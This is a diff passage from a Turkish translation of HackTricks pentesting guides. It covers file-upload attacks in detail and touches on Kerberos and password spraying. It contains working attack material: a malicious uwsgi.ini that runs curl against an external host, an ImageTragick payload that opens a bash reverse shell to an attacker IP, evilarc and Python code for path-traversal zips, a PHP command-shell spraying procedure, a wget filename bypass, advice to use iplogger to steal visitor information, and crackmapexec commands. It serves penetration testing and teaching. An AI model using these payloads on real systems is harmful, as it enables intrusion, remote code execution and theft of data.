bir açık bulun (uzantıyı değiştirmek için). - Backdoor'u çalıştırmak için bir **Local File Inclusion** zafiyeti bulun. -- **Olası Bilgi sızması**: -1. **Aynı dosyayı** **aynı anda** **birden fazla kez** yükleyin. -2. Zaten var olan bir **dosya** veya **klasör** adıyla bir dosya yükleyin. -3. Dosya adı olarak **"."**, **".."** veya **"…"** yükleyin. Örneğin, Apache'de Windows'ta, uygulama yüklenen dosyaları "/www/uploads/" dizinine kaydediyorsa, "." dosya adı "/www/" dizininde "uploads" adında bir dosya oluşturabilir. -4. Silinmesi zor olabilecek bir dosya yükleyin; örneğin **"…:.jpg"** NTFS'de. (Windows) -5. Windows'ta dosya adına `|<>*?”` gibi **geçersiz karakterler** içeren bir dosya yükleyin. (Windows) -6. CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 ve LPT9 gibi Windows'ta **rezerve (yasaklanmış) adları** kullanarak dosya yükleyin. -- Ayrıca **çalıştırılabilir (.exe)** veya açıldığında kod çalıştırabilecek daha az şüpheli bir **.html** dosyası yüklemeyi deneyin. +- **Olası Bilgi sızıntısı**: +1. **Aynı dosyayı** **aynı isimle** **birden çok kez** (ve aynı anda) yükleyin. +2. Zaten var olan bir **dosya** veya **klasör** adını kullanarak dosya yükleyin. +3. Dosya adı olarak **"."**, **".."** veya **"..."** kullanarak yükleme yapın. Örneğin, Apache üzerinde **Windows** ise uygulama yüklenen dosyaları "/www/uploads/" dizinine kaydediyorsa, "." dosya adı "/www/" dizininde "uploads" adlı bir dosya oluşturacaktır. +4. **NTFS** üzerinde silinmesi zor olabilecek bir dosya yükleyin, örneğin **"..:.jpg"**. (Windows) +5. Windows'ta dosya adına `|<>*?”` gibi **geçersiz karakterler** koyarak yükleyin. (Windows) +6. Windows'ta CON, PRN, AUX, NUL, COM1...COM9, LPT1...LPT9 gibi **ayrılmış (forbidden) isimleri** kullanarak dosya yükleyin. +- Ayrıca bir **executable** (.exe) veya daha az şüpheli bir **.html** yüklemeyi deneyin; kurban yanlışlıkla açtığında kod çalıştırabilir. -### Özel uzantı hileleri +### Özel uzantı taktikleri -Eğer dosyaları bir **PHP server**'a yüklüyorsanız, kod çalıştırmak için [**.htaccess** hilesine bakın](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ -Eğer dosyaları bir **ASP server**'a yüklüyorsanız, kod çalıştırmak için [**.config** hilesine bakın](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). +Eğer dosyaları bir **PHP server**'a yüklüyorsanız, kod çalıştırmak için [**.htaccess** taktiğine bakın](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ +Eğer dosyaları bir **ASP server**'a yüklüyorsanız, kod çalıştırmak için [**.config** taktiğine bakın](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). -`.phar` dosyaları Java için `.jar` gibidir, ama php içindir ve **php dosyası gibi kullanılabilir** (php ile çalıştırma veya bir script içine include etme...). +`.phar` dosyaları Java için `.jar` gibidir, ama php içindir ve **php dosyası gibi kullanılabilir** (php ile çalıştırılabilir veya bir script içine include edilebilir...) -`.inc` uzantısı bazen sadece **import edilen** php dosyaları için kullanılır, bu yüzden bazı durumlarda bu uzantının **çalıştırılmasına izin verilmiş** olabilir. +`.inc` uzantısı bazen sadece **import** edilen php dosyaları için kullanılır; dolayısıyla bir yerde bu uzantının **çalıştırılmasına izin verilmiş** olabilir. ## **Jetty RCE** -Eğer bir Jetty sunucusuna XML dosyası yükleyebiliyorsanız, [yeni \*.xml ve \*.war dosyalarının otomatik olarak işlendiği için RCE elde edebilirsiniz](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Bu yüzden, aşağıdaki görselde belirtildiği gibi, XML dosyasını `$JETTY_BASE/webapps/` dizinine yükleyin ve shell bekleyin! +Eğer bir Jetty sunucusuna XML dosyası yükleyebiliyorsanız, [yeni \*.xml ve \*.war dosyaları otomatik olarak işlendiği için RCE elde edebilirsiniz](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Bu yüzden, aşağıdaki görselde belirtildiği gibi XML dosyasını `$JETTY_BASE/webapps/` dizinine yükleyin ve shell bekleyin! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ## **uWSGI RCE** -Bu zafiyeti ayrıntılı incelemek için orijinal araştırmaya bakın: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). +Detaylı inceleme için orijinal araştırmayı kontrol edin: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Remote Command Execution (RCE) zafiyetleri, `.ini` konfigürasyon dosyasını değiştirme yeteneğiniz varsa uWSGI sunucularında istismar edilebilir. uWSGI konfigürasyon dosyaları, "magic" değişkenler, yer tutucular ve operatörleri dahil etmek için belirli bir sözdizimi kullanır. Özellikle, `@(filename)` olarak kullanılan '@' operatörü bir dosyanın içeriğini include etmek için tasarlanmıştır. uWSGI tarafından desteklenen çeşitli şemalar arasında "exec" şeması özellikle güçlüdür; bu şema bir sürecin standart çıktısından veri okumaya izin verir. Bir `.ini` konfigürasyon dosyası işlenirken bu özellik, Remote Command Execution veya Arbitrary File Write/Read gibi kötü amaçlı kullanımlar için manipüle edilebilir. +Remote Command Execution (RCE) zafiyetleri, `.ini` yapılandırma dosyasını değiştirme imkanı olan uWSGI sunucularında istismar edilebilir. uWSGI konfigürasyon dosyaları, "magic" değişkenleri, yer tutucuları ve operatörleri içerebilen özel bir sözdizimi kullanır. Özellikle `@(filename)` şeklinde kullanılan '@' operatörü bir dosyanın içeriğini dahil etmek için tasarlanmıştır. uWSGI tarafından desteklenen çeşitli şemalar arasında "exec" şeması özellikle güçlüdür ve bir sürecin standart çıktısından veri okumaya izin verir. Bir `.ini` dosyası işlendiğinde bu özellik, Remote Command Execution veya Arbitrary File Write/Read gibi kötü amaçlı işlemler için manipüle edilebilir. -Aşağıda çeşitli şemaları gösteren zararlı bir `uwsgi.ini` dosyası örneğini düşünün: +Aşağıda çeşitli şemaları gösteren zararlı bir `uwsgi.ini` dosyasına örnek verilmektedir: ```ini [uwsgi] ; read from a symbol @@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -Payload'un yürütülmesi, konfigürasyon dosyasının parse edilmesi sırasında gerçekleşir. Konfigürasyonun etkinleştirilip parse edilmesi için uWSGI sürecinin ya yeniden başlatılması (muhtemelen bir crash sonrası veya bir Denial of Service attack nedeniyle) ya da dosyanın auto-reload olarak ayarlanmış olması gerekir. Auto-reload özelliği etkinse, değişiklik algılandığında dosyayı belirlenen aralıklarla yeniden yükler. +Payload'un çalıştırılması, yapılandırma dosyasının parse edilmesi sırasında gerçekleşir. Yapılandırmanın etkinleştirilip parse edilmesi için uWSGI sürecinin ya yeniden başlatılması (potansiyel olarak bir çökme sonrası veya bir Denial of Service attack nedeniyle) ya da dosyanın auto-reload olarak ayarlanması gerekir. Auto-reload özelliği etkinse, değişiklik algılandığında dosyayı belirli aralıklarla yeniden yükler. -uWSGI'nin konfigürasyon dosyası parse etme sürecinin gevşek doğasını anlamak çok önemlidir. Özellikle, burada bahsedilen payload bir binary dosyaya (örneğin bir resim veya PDF) yerleştirilebilir; bu da potansiyel istismar alanını daha da genişletir. +uWSGI'nin yapılandırma dosyası parsing'inin gevşek doğasını anlamak çok önemlidir. Özellikle, burada tartışılan payload bir binary file içine (örneğin bir image veya PDF) yerleştirilebilir; bu da potansiyel exploit kapsamını daha da genişletir. ## **wget File Upload/SSRF Trick** -Bazı durumlarda bir sunucunun **`wget`** kullanarak **download files** yaptığı ve sizden **indirebileceği** **URL**'yi belirtmenizi istediği durumlarla karşılaşabilirsiniz. Bu tür durumlarda, kod indirilen dosyaların uzantısının bir whitelist içinde olup olmadığını kontrol ediyor olabilir; böylece sadece izin verilen dosyaların indirileceği garanti edilir. Ancak, **bu kontrol atlatılabilir.**\ -**linux**'ta bir **filename**'in maksimum uzunluğu **255** karakterdir; fakat **wget** dosya adlarını **236** karaktere truncate eder. Örneğin, **"A"\*232+".php"+".gif"** adlı bir dosyayı indirebilirsiniz; bu dosya adı **kontrolü atlatır** (bu örnekte **".gif"** geçerli bir uzantıdır) fakat `wget` dosyanın adını **"A"\*232+".php"** olarak **rename** edecektir. +Bazı durumlarda bir sunucunun **`wget`** kullanarak **dosya indirdiğini** ve sizin **URL** belirtebildiğinizi görebilirsiniz. Bu gibi durumlarda, kod indirilen dosyaların uzantısının bir beyaz listede olup olmadığını kontrol ediyor olabilir; böylece yalnızca izin verilen dosyalar indirilecek. Ancak, **bu kontrol atlatılabilir.**\ +**linux**'da bir **filename**'in **maximum** uzunluğu **255**'tir, ancak **wget** dosya adlarını **236** karaktere kısaltır. **"A"\*232+".php"+".gif"** adlı bir dosyayı **download** edebilirsiniz; bu dosya adı **kontrolü** **atlatır** (bu örnekte **".gif"** geçerli bir uzantıdır) fakat `wget` dosyayı **"A"\*232+".php"** olarak **yeniden adlandırır**. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -156,17 +156,17 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**. +Note that **başka bir seçenek** olarak aklınıza gelebilecek bu kontrolü atlatma yöntemi, **HTTP server**ın farklı bir dosyaya yönlendirme yapmasını sağlamaktır; böylece başlangıçtaki URL kontrolü atlatır fakat wget yönlendirilmiş dosyayı yeni isimle indirir. Bu **çalışmaz** **eğer** wget **--trust-server-names** parametresi ile kullanılmıyorsa çünkü **wget, yönlendirilen sayfayı orijinal URL’de belirtilen dosya adıyla indirecektir**. -## Araçlar +## Tools -- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) güçlü bir araçtır; Pentesters ve Bug Hunters'ın file upload mekanizmalarını test etmelerine yardımcı olmak üzere tasarlanmıştır. Çeşitli bug bounty techniques kullanarak zafiyetleri tespit etme ve istismar etme sürecini basitleştirir, web uygulamalarının kapsamlı değerlendirmelerini sağlar. +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) Pentesters ve Bug Hunters’ın file upload mekanizmalarını test etmelerine yardımcı olmak için tasarlanmış güçlü bir araçtır. Bug bounty tekniklerini kullanarak web uygulamalarındaki zafiyetleri tespit etmeyi ve sömürmeyi kolaylaştırır, kapsamlı değerlendirmeler sağlar. ### Corrupting upload indices with snprintf quirks (historical) -Some legacy upload handlers that use `snprintf()` or similar to build multi-file arrays from a single-file upload can be tricked into forging the `_FILES` structure. Due to inconsistencies and truncation in `snprintf()` behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases. +Tek dosya upload’ından çoklu dosya dizileri oluşturmak için `snprintf()` veya benzeri fonksiyonları kullanan bazı eski upload handler’lar, `_FILES` yapısını sahteleyerek kandırılabilir. `snprintf()` davranışındaki tutarsızlıklar ve truncation nedeniyle, dikkatle hazırlanmış tek bir upload, sunucu tarafında birden çok indekslenmiş dosya gibi görünebilir; bu da katı bir yapı varsayan mantığı (ör. çoklu dosya upload’u olarak ele alıp güvensiz dallara girmek) şaşırtabilir. Günümüzde nadir olmakla birlikte bu “index corruption” kalıbı zaman zaman CTF’lerde ve daha eski kod tabanlarında tekrar ortaya çıkar. -## Dosya yüklemeden diğer zafiyetlere +## From File upload to other vulnerabilities - Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal** - Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection** @@ -178,13 +178,13 @@ Some legacy upload handlers that use `snprintf()` or similar to build multi-file - [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files) - Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) - [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) -- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**. +- Eğer web sunucusuna bir URL’den image almasını **belirtebiliyorsanız**, bir [SSRF](../ssrf-server-side-request-forgery/index.html) suistimal etmeyi deneyebilirsiniz. Eğer bu **image** bir **public** site’de **kaydedilecekse**, ayrıca [https://iplogger.org/invisible/](https://iplogger.org/invisible/) adresinden bir URL belirleyip **her ziyaretçinin bilgisini çalabilirsiniz**. - [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) -- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications. -- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus** -- Check if there is any **size limit** uploading files +- XSS için özel hazırlanmış PDF’ler: [aşağıdaki sayfa nasıl **PDF verisi enjekte edilip JS yürütüleceğini** gösteriyor](../xss-cross-site-scripting/pdf-injection.md). Eğer PDF yükleyebiliyorsanız, verilen yönergelere göre rastgele JS çalıştıracak bir PDF hazırlayabilirsiniz. +- Sunucuda herhangi bir **antivirus** olup olmadığını kontrol etmek için \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) içeriğini yükleyin +- Dosya yüklerken herhangi bir **boyut limiti** olup olmadığını kontrol edin -Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): +İşte upload ile başarabileceğiniz şeylerden bir top 10 listesi (kaynak: [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE 2. **SVG**: Stored XSS / SSRF / XXE @@ -204,20 +204,20 @@ Here’s a top 10 list of things that you can achieve by uploading (from [here]( https://github.com/portswigger/upload-scanner {{#endref}} -## Sihirli Başlık Baytları +## Magic Header Bytes - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["` - **JPG**: `"\xff\xd8\xff"` -Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes. +Diğer dosya tipleri için [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) adresine bakın. -## Zip/Tar Dosyasının Sunucuda Otomatik Olarak Açıldığı Yüklemeler +## Zip/Tar File Automatically decompressed Upload -If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things: +Eğer sunucuda açılacak şekilde bir ZIP upload edebiliyorsanız, iki şey yapabilirsiniz: ### Symlink -Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files: +Diğer dosyalara soft link içeren bir link yükleyin; ardından açılan dosyalara eriştiğinizde linklenmiş dosyalara erişmiş olursunuz: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt @@ -225,18 +225,18 @@ tar -cvf test.tar symindex.txt ``` ### Farklı klasörlere açma -Sıkıştırma açma sırasında dizinlerde beklenmeyen dosya oluşturulması ciddi bir sorundur. Bu yapılandırmanın kötü amaçlı dosya yüklemeleri yoluyla OS seviyesinde komut yürütmeyi engelleyeceği yönündeki ilk varsayımlara rağmen, ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve directory traversal yetenekleri kötüye kullanılabilir. Bu, saldırganların hedeflenen uygulamanın decompression işlevini manipüle ederek kısıtlamaları aşmasına ve güvenli upload dizinlerinden kaçmasına olanak tanır. +Sıkıştırmayı açma sırasında dosyaların dizinlerde beklenmedik şekilde oluşturulması ciddi bir sorundur. Bu yapılandırmanın malicious file uploads yoluyla OS-level command execution'a karşı koruma sağlayacağı ilk varsayımlarına rağmen, ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve directory traversal yetenekleri kötüye kullanılabilir. Bu, saldırganların kısıtlamaları aşmasına ve hedef uygulamanın decompression işlevini manipüle ederek güvenli upload dizinlerinden kaçmasına olanak tanır. -Böyle dosyalar oluşturmak için otomatik bir exploit [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) adresinde mevcuttur. Araç şu şekilde kullanılabilir: +Böyle dosyaları oluşturmak için otomatik bir exploit [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) adresinde mevcuttur. Araç şu şekilde kullanılabilir: ```python # Listing available options python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -Ek olarak, **symlink trick with evilarc** bir seçenektir. Eğer amaç `/flag.txt` gibi bir dosyayı hedeflemekse, o dosyaya sisteminizde bir symlink oluşturulmalıdır. Bu, evilarc'ın çalışması sırasında hata ile karşılaşmamasını sağlar. +Ek olarak, **symlink trick with evilarc** bir seçenektir. Eğer amaç `/flag.txt` gibi bir dosyayı hedeflemekse, sisteminizde o dosyaya işaret eden bir symlink oluşturmalısınız. Bu, evilarc'ın çalışma sırasında hatalarla karşılaşmamasını sağlar. -Aşağıda kötü amaçlı bir zip dosyası oluşturmak için kullanılan Python koduna bir örnek vardır: +Aşağıda kötü amaçlı bir zip dosyası oluşturmak için kullanılan Python örnek kodu bulunmaktadır: ```python #!/usr/bin/python import zipfile @@ -254,11 +254,11 @@ zip.close() create_zip() ``` -**Abusing compression for file spraying** +**File spraying için sıkıştırmanın kötüye kullanımı** -For further details **check the original post in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) +Daha fazla ayrıntı için **orijinal gönderiyi inceleyin**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **Creating a PHP Shell**: PHP kodu `$_REQUEST` değişkeniyle gönderilen komutları çalıştıracak şekilde yazılır. +1. **PHP Shell Oluşturma**: PHP kodu, `$_REQUEST` değişkeniyle geçirilen komutları çalıştıracak şekilde yazılır. ```php ``` -2. **File Spraying and Compressed File Creation**: Birden fazla dosya oluşturulur ve bu dosyaları içeren bir zip arşivi oluşturulur. +2. **File Spraying ve Sıkıştırılmış Dosya Oluşturma**: Birden fazla dosya oluşturulur ve bu dosyaları içeren bir zip arşivi hazırlanır. ```bash root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# zip cmd.zip xx*.php ``` -3. **Modification with a Hex Editor or vi**: Zip içindeki dosya isimleri vi veya bir hex editor kullanılarak değiştirilir; dizin atlamak için "xxA" "../" olarak değiştirilir. +3. **Hex Editor veya vi ile Değişiklik**: Zip içindeki dosya adları vi veya bir hex editor ile değiştirilir; "xxA" dizinler arası geçiş yapmak için "../" ile değiştirilir. ```bash :set modifiable @@ -285,40 +285,40 @@ root@s2crew:/tmp# zip cmd.zip xx*.php ## ImageTragic -Bu içeriği bir image uzantısıyla yükleyerek açığı istismar edin **(ImageMagick , 7.0.1-1)** (exploit için: [https://www.exploit-db.com/exploits/39767]) +Bu içeriği bir image uzantısıyla yükleyerek zafiyeti istismar edin **(ImageMagick , 7.0.1-1)** (exploit için: [exploit](https://www.exploit-db.com/exploits/39767)) ``` push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' pop graphic-context ``` -## PHP Shell'i PNG'ye gömme +## PNG içinde PHP Shell Gömme -Bir PNG dosyasının IDAT chunk'ına bir PHP shell gömmek, bazı görüntü işleme operasyonlarını etkili şekilde atlatabilir. PHP-GD'den `imagecopyresized` ve `imagecopyresampled` fonksiyonları bu bağlamda özellikle önemlidir; bunlar sırasıyla görüntüleri yeniden boyutlandırma ve yeniden örnekleme için yaygın olarak kullanılır. Gömülen PHP shell'in bu işlemlerden etkilenmeden kalabilmesi, belirli kullanım senaryoları için önemli bir avantaj sağlar. +Bir PNG dosyasının IDAT chunk'ına PHP shell gömmek, belirli görüntü işleme operasyonlarını etkili şekilde atlatabilir. PHP-GD'den `imagecopyresized` ve `imagecopyresampled` fonksiyonları bu bağlamda özellikle önemlidir; bunlar sırasıyla görüntüleri yeniden boyutlandırmak ve yeniden örneklemek için yaygın olarak kullanılır. Gömülü PHP shell'in bu işlemlerden etkilenmeden kalabilmesi, bazı kullanım durumları için önemli bir avantaj sağlar. -Bu tekniğin metodolojisi ve olası uygulamalarına dair ayrıntılı bir inceleme aşağıdaki makalede bulunuyor: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Bu kaynak, sürecin ve sonuçlarının kapsamlı bir şekilde anlaşılmasını sağlar. +Bu tekniğin metodolojisi ve olası uygulamalarını içeren ayrıntılı bir inceleme şu makalede bulunuyor: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Bu kaynak süreç ve etkileri hakkında kapsamlı bir anlayış sunar. Daha fazla bilgi: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) ## Polyglot Dosyalar -Polyglot dosyalar, aynı anda birden fazla dosya formatında geçerli olabilen kamufle olabilen dosyalar olarak siber güvenlikte benzersiz bir araç görevi görür. İlginç bir örnek [GIFAR](https://en.wikipedia.org/wiki/Gifar) — hem GIF hem de RAR arşivi olarak işlev gören bir hibrit. Bu tür dosyalar yalnızca bu ikili ile sınırlı değildir; GIF ve JS veya PPT ve JS gibi kombinasyonlar da mümkündür. +Polyglot dosyalar, siber güvenlikte benzersiz bir araç olarak hizmet eder; aynı anda birden fazla dosya formatında geçerli şekilde bulunabilen kamuflajcılar gibi davranırlar. İlginç bir örnek [GIFAR](https://en.wikipedia.org/wiki/Gifar) — hem GIF hem de RAR arşivi olarak işlev gören hibrit bir dosyadır. Bu tür dosyalar sadece bu eşleşmeyle sınırlı değildir; GIF ve JS veya PPT ve JS gibi kombinasyonlar da mümkündür. -Polyglot dosyaların temel faydası, dosyaları türlerine göre tarayan güvenlik önlemlerini atlatabilmeleridir. Birçok uygulamada yalnızca belirli dosya türlerine izin verilir — örneğin JPEG, GIF veya DOC — böylece potansiyel olarak zararlı formatların (ör. JS, PHP veya Phar dosyaları) riski azaltılmaya çalışılır. Ancak bir polyglot, birden fazla dosya türünün yapısal kriterlerine uyduğunda, bu kısıtlamaları gizlice aşabilir. +Polyglot dosyaların temel faydası, dosyaları tür bazında tarayan güvenlik önlemlerini aşma kapasitelerindedir. Çeşitli uygulamalarda yaygın uygulama, potansiyel olarak zararlı formatların (ör. JS, PHP veya Phar dosyaları) riskini azaltmak için yalnızca JPEG, GIF veya DOC gibi belirli dosya türlerine izin vermektir. Ancak bir polyglot, birden fazla dosya türünün yapısal kriterlerine uyduğunda, bu kısıtlamaları sessizce atlatabilir. -Bununla birlikte polyglotların sınırları da vardır. Örneğin bir polyglot aynı anda bir PHAR (PHp ARchive) dosyası ve bir JPEG olabilse de, yükleme başarısı platformun dosya uzantısı politikalarına bağlı olabilir. Sistem uzantılara karşı katıysa, bir polyglotun yalnızca yapısal ikiliği yükleme için yeterli olmayabilir. +Uyarlanabilirliklerine rağmen, polyglot'lar sınırlamalarla karşılaşabilir. Örneğin, bir polyglot aynı anda bir PHAR dosyası (PHp ARchive) ve bir JPEG olabilir; ancak yükleme başarısı platformun dosya uzantısı politikalarına bağlı olabilir. Sistem izin verilen uzantılar konusunda katıysa, bir polyglot'un yalnızca yapısal ikiliği yüklemenin garantisi olmayabilir. Daha fazla bilgi: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) -### PDF gibi görünür şekilde geçerli JSON yükleme +### PDF gibi davranan geçerli JSON'lar yükleme -İzin verilmese bile geçerli bir JSON dosyasını PDF taklidi yaparak yükleyerek dosya türü tespitlerinden nasıl kaçınılır (teknikler **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)** kaynağından): +Bir PDF dosyası taklidi yaparak, izin verilmiyor olsa bile geçerli bir JSON dosyası yükleyerek dosya türü tespitlerinden nasıl kaçınılacağı (teknikler **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): -- **`mmmagic` library**: `%PDF` magic byte'ları ilk 1024 byte içinde olduğu sürece geçerli sayılır (örnek için gönderiye bakın) -- **`pdflib` library**: JSON içindeki bir alanın içine sahte bir PDF formatı ekleyerek kütüphanenin bunun bir PDF olduğunu sanmasını sağla (örnek için gönderiye bakın) -- **`file` binary**: Bir dosyadan 1048576 byte'a kadar okuyabilir. Dosyayı bunun üzerinde bir JSON yaparak oluştur; böylece içeriği JSON olarak parse edemez ve sonra JSON içinde gerçek bir PDF'in başlangıç kısmını koyarsın, `file` bunu PDF sanacaktır +- **`mmmagic` library**: İlk 1024 byte içinde `%PDF` magic byte'ları olduğu sürece geçerli sayılır (örnek için yazıya bakın) +- **`pdflib` library**: JSON'un bir alanı içine sahte bir PDF formatı ekleyin ki kütüphane bunun bir pdf olduğunu sansın (örnek için yazıya bakın) +- **`file` binary**: Bir dosyadan maksimum 1048576 byte okuyabilir. Basitçe JSON'u bu boyuttan daha büyük yapın ki içeriği bir json olarak parse edemesin; sonra JSON'un içine gerçek bir PDF'in başlangıç kısmını koyun ve bunun PDF olduğunu düşünecektir -## References +## Referanslar - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files) - [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner) diff --git a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md index b2a6f7b49..2f2150ce2 100644 --- a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md +++ b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md @@ -1,7 +1,7 @@ -# Kerberos Kimlik Doğrulama +# Kerberos Authentication {{#include ../../banners/hacktricks-training.md}} -**Harika gönderiyi şu adresten inceleyin:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/) +**Harika yazıyı şu bağlantıdan inceleyin:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md index 8e4dd06dd..358ea703c 100644 --- a/src/windows-hardening/active-directory-methodology/password-spraying.md +++ b/src/windows-hardening/active-directory-methodology/password-spraying.md @@ -5,16 +5,16 @@ ## **Password Spraying** -Birkaç **geçerli kullanıcı adı** bulduktan sonra, keşfedilen her kullanıcı için en **yaygın parolaları** deneyebilirsiniz (ortamın parola politikasını göz önünde bulundurun).\ -**varsayılan** olarak **minimum** **parola** **uzunluğu** **7**'dir. +Birkaç **geçerli kullanıcı adı** bulduktan sonra keşfettiğiniz her kullanıcı için en **yaygın parolaları** deneyebilirsiniz (ortamın parola politikasını göz önünde bulundurun).\ +**Varsayılan** **minimum** **parola** **uzunluğu** **7**'dir. Yaygın kullanıcı adları listeleri de faydalı olabilir: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) -Unutmayın: **birkaç yanlış parola denerseniz bazı hesaplar kilitlenebilir** (varsayılan olarak 10'dan fazla). +Dikkat: **birden fazla yanlış parola denerseniz bazı hesapları kilitleyebilirsiniz** (varsayılan olarak 10'dan fazla). -### Parola politikası edinme +### Parola politikasını öğrenme -Eğer bazı kullanıcı kimlik bilgilerine veya domain user olarak bir shell'e sahipseniz, **parola politikasını şu şekilde alabilirsiniz**: +Eğer bazı kullanıcı kimlik bilgilerine veya domain kullanıcısı olarak bir shell'e sahipseniz, **parola politikasını şu şekilde alabilirsiniz**: ```bash # From Linux crackmapexec -u 'user' -p 'password' --pass-pol @@ -31,16 +31,16 @@ net accounts (Get-DomainPolicy)."SystemAccess" #From powerview ``` -### Exploitation — Linux'ten (veya tümü) +### Linux (veya tüm platformlar) üzerinden istismar -- 